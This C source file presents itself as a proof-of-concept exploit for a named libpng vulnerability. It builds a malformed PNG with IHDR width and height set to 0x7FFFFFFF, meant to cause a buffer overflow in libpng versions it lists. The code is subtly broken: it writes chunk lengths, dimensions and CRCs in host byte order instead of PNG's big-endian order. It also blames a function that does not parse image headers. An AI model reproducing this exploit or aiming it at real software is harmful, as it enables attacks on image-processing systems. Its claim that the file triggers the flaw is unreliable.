#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// PoC for CVE-2025-28164: libpng png_create_read_struct() Buffer Overflow
// This PoC creates a malformed PNG file with oversized IHDR dimensions
#pragma pack(1)
typedef struct {
unsigned int length;
char type[4];
unsigned int width;
unsigned int height;
unsigned char bit_depth;
unsigned char color_type;
unsigned char compression;
unsigned char filter;
unsigned char interlace;
unsigned int crc;
} ihdr_chunk_t;
void write_png_header(FILE *fp) {
// PNG signature
unsigned char signature[8] = {0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A};
fwrite(signature, 1, 8, fp);
}
unsigned int calculate_crc32(unsigned char *data, int length) {
unsigned int crc = 0xFFFFFFFF;
for (int i = 0; i < length; i++) {
crc ^= data[i];
for (int j = 0; j < 8; j++) {
crc = (crc >> 1) ^ (0xEDB88320 & -(crc & 1));
}
}
return ~crc;
}
void write_malformed_ihdr(FILE *fp) {
ihdr_chunk_t ihdr;
// Malicious oversized dimensions to trigger buffer overflow
ihdr.length = 13; // IHDR data length
memcpy(ihdr.type, "IHDR", 4);
ihdr.width = 0x7FFFFFFF; // Oversized width value
ihdr.height = 0x7FFFFFFF; // Oversized height value
ihdr.bit_depth = 8;
ihdr.color_type = 2; // RGB
ihdr.compression = 0;
ihdr.filter = 0;
ihdr.interlace = 0;
// Calculate CRC for type + data
unsigned char ihdr_data[17];
memcpy(ihdr_data, ihdr.type, 4);
memcpy(ihdr_data + 4, &ihdr.width, 4);
memcpy(ihdr_data + 8, &ihdr.height, 4);
ihdr_data[12] = ihdr.bit_depth;
ihdr_data[13] = ihdr.color_type;
ihdr_data[14] = ihdr.compression;
ihdr_data[15] = ihdr.filter;
ihdr_data[16] = ihdr.interlace;
ihdr.crc = calculate_crc32(ihdr_data, 17);
// Write chunk length, type, data, and CRC
fwrite(&ihdr.length, 4, 1, fp);
fwrite(ihdr.type, 4, 1, fp);
fwrite(&ihdr.width, 4, 1, fp);
fwrite(&ihdr.height, 4, 1, fp);
fwrite(&ihdr.bit_depth, 5, 1, fp);
fwrite(&ihdr.crc, 4, 1, fp);
}
void write_iend(FILE *fp) {
unsigned int length = 0;
unsigned int crc = 0xAE426082; // CRC of "IEND"
fwrite(&length, 4, 1, fp);
fwrite("IEND", 4, 1, fp);
fwrite(&crc, 4, 1, fp);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <output_png_file>\n", argv[0]);
return 1;
}
FILE *fp = fopen(argv[1], "wb");
if (!fp) {
perror("Failed to open output file");
return 1;
}
write_png_header(fp);
write_malformed_ihdr(fp);
write_iend(fp);
fclose(fp);
printf("Malformed PNG created: %s\n", argv[1]);
printf("This file triggers CVE-2025-28164 in libpng versions 1.6.43-1.6.46\n");
return 0;
}